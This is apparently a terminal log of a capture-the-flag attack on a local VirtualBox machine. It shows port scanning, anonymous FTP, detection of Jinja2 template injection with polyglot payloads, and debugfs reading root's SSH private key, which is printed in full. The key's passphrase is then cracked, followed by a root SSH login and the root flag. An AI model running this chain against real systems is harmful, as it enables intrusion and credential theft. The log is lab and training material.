4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.973 seconds (129.75 hosts/sec). 4 responded ❯ export ip=192.168.60.134 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.134:22 Open 192.168.60.134:21 Open 192.168.60.134:80 Open 192.168.60.134:5000 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 22:25 CST Initiating ARP Ping Scan at 22:25 Scanning 192.168.60.134 [1 port] Completed ARP Ping Scan at 22:25, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:25 Completed Parallel DNS resolution of 1 host. at 22:25, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 22:25 Scanning 192.168.60.134 [4 ports] Discovered open port 80/tcp on 192.168.60.134 Discovered open port 5000/tcp on 192.168.60.134 Discovered open port 22/tcp on 192.168.60.134 Discovered open port 21/tcp on 192.168.60.134 Completed SYN Stealth Scan at 22:25, 0.03s elapsed (4 total ports) Nmap scan report for 192.168.60.134 Host is up, received arp-response (0.00036s latency). Scanned at 2025-01-03 22:25:38 CST for 0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 5000/tcp open upnp syn-ack ttl 64 MAC Address: 08:00:27:4B:15:37 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
❯ ftp anonymous@$ip Connected to 192.168.60.134. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||28025|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 34 May 16 2024 supermegaultraimportantebro.txt 226 Directory send OK. ftp> get supermegaultraimportantebro.txt local: supermegaultraimportantebro.txt remote: supermegaultraimportantebro.txt 229 Entering Extended Passive Mode (|||14829|) 150 Opening BINARY mode data connection for supermegaultraimportantebro.txt (34 bytes). 100% |*********************************************************************************************************| 34 15.67 KiB/s 00:00 ETA 226 Transfer complete. 34 bytes received in 00:00 (9.91 KiB/s) ❯ cat supermegaultraimportantebro.txt Gracias por venir, ahora vayase!! 谢谢您的光临，现在请离开！
❯ ./tinja url -u http://192.168.60.134:5000/petrolhead -d "user_input=" TInjA v1.1.4 started at 2025-01-03_23-11-13
Analyzing URL(1/1): http://192.168.60.134:5000/petrolhead =============================================================== Status code 200 Analyzing post parameter user_input => {{1*2}} [*] Value SOHBMVCMULIJPZGB of POST parameter user_input is being reflected 1 time(s) in the response body
[!] The polyglot <%'${{/#{@}}%>{{ triggered an error: Status Code 500 [!] The polyglot p ">[[${{1}}]] was rendered in a modified way: [p ">[[$1]]] [*] The polyglot p ">[[${{1}}]] returned the response(s) [p ">[[$1]]] [*] The polyglot <%=1%>@*#{1} returned the response(s) [unmodified] [!] The polyglot {##}/*{{.}}*/ triggered an error: Status Code 500 A template injection was detected and the template engine is now being identified. [!] The polyglot <%{{#{%>} triggered an error: Status Code 500 [!] The polyglot <%=1%>#{2}{{a}} was rendered in a modified way: [<%=1%>#{2}] [*] The polyglot <%=1%>#{2}{{a}} returned the response(s) [<%=1%>#{2}] [!] The polyglot //*<!--{##<%=1%>{{!--{{1}}--}}-->*/#} was rendered in a modified way: [//*<!--] [*] The polyglot //*<!--{##<%=1%>{{!--{{1}}--}}-->*/#} returned the response(s) [//*<!--] [!] The polyglot {{/}} triggered an error: Status Code 500 [!] The polyglot {{1in[1]}} was rendered in a modified way: [True] [*] The polyglot {{1in[1]}} returned the response(s) [True] Verifying the template injection by issuing template expressions tailored to the specific template engine. [*] Verifying Jinja2/Jinja2 (Sandbox). [*] The polyglot {{ 7*7 }} returned the response(s) [49] [+] Jinja2/Jinja2 (Sandbox) was identified (certainty: Very High) =============================================================== Successfully finished the scan [+] Suspected template injections: 1 [+] 1 Very High, 0 High, 0 Medium, 0 Low, 0 Very Low certainty Duration: 89.504144ms Average polyglots sent per user input: 9
debugfs: cat /root/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- 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 2ZOJdg== -----END OPENSSH PRIVATE KEY----- ❯ vim id_rsa ❯ ssh2john id_rsa >hash ❯ john hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst angels1 (id_rsa) 1g 0:00:08:51 DONE 2/3 (2025-01-04 00:15) 0.001882g/s 43.56p/s 43.56c/s 43.56C/s active1..ashton1 Use the "--show" option to display all of the cracked passwords reliably Session completed. ❯ ssh [email protected] -i id_rsa The authenticity of host '192.168.60.134 (192.168.60.134)' can't be established. ED25519 key fingerprint is SHA256:F3OjFFzQXiCaifa+reryaJCdnjPukFzPeXTCI70bZqI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.134' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa': Linux SinPLomo98 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 16 16:49:15 2024 from 192.168.0.108 root@SinPLomo98:~# cat root.txt 6d75e57572638098039f7fbb6fd39b70 root@SinPLomo98:~# id uid=0(root) gid=0(root) grupos=0(root)
